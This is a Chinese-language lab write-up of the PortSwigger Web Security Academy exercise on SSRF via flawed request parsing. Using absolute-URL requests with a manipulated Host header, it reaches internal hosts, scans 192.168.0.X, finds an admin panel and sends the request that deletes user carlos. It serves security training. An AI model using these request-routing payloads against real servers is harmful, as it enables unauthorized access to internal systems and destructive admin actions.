> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/ssrf-via-incorrect-request-parsing.md). # 通过错误解析请求导致的 SSRF 通过错误解析请求导致的 SSRF，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。 ### 通过有缺陷的请求解析实现 SSRF 这个实验存在一个 **基于路由的 SSRF**. 服务器误解了查询实际目标的主机。目标是访问内部管理面板，然后删除该用户 **carlos**. ### 初步观察直接编辑 `Host` 标头不起作用。请求仍然被阻止。 ```http Host: jord4n.pro ```

### 绕过解析这里的关键点是请求格式。当使用绝对 **URL**时，应用程序会尝试解析查询行中指定的主机。 `Host` 此时标头就变成次要的了。 ```html GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2 Host: test.com ``` 答案证实了这种行为。服务器正试图访问 `test.com`. ```html

服务器错误：连接到 test.com 时网关超时（3）

```

### 内部主机发现现在我们可以扫描内部 `192.168.0.0/24` 地址段。最简单的方法是使用 **Intruder** 在最后一个字节上。 ```http GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2 Host: 192.168.0.X ``` 该 `192.168.0.92` 地址会返回 `302` 代码。该响应表明存在管理面板。

### 删除用户在识别出内部主机后，我们打开 `/admin`。然后我们从页面中获取 CSRF 令牌。只需将删除请求发送到内部主机即可。 ```http POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2 Host: 192.168.0.92 csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos ``` 删除 **carlos** 即可验证该实验。

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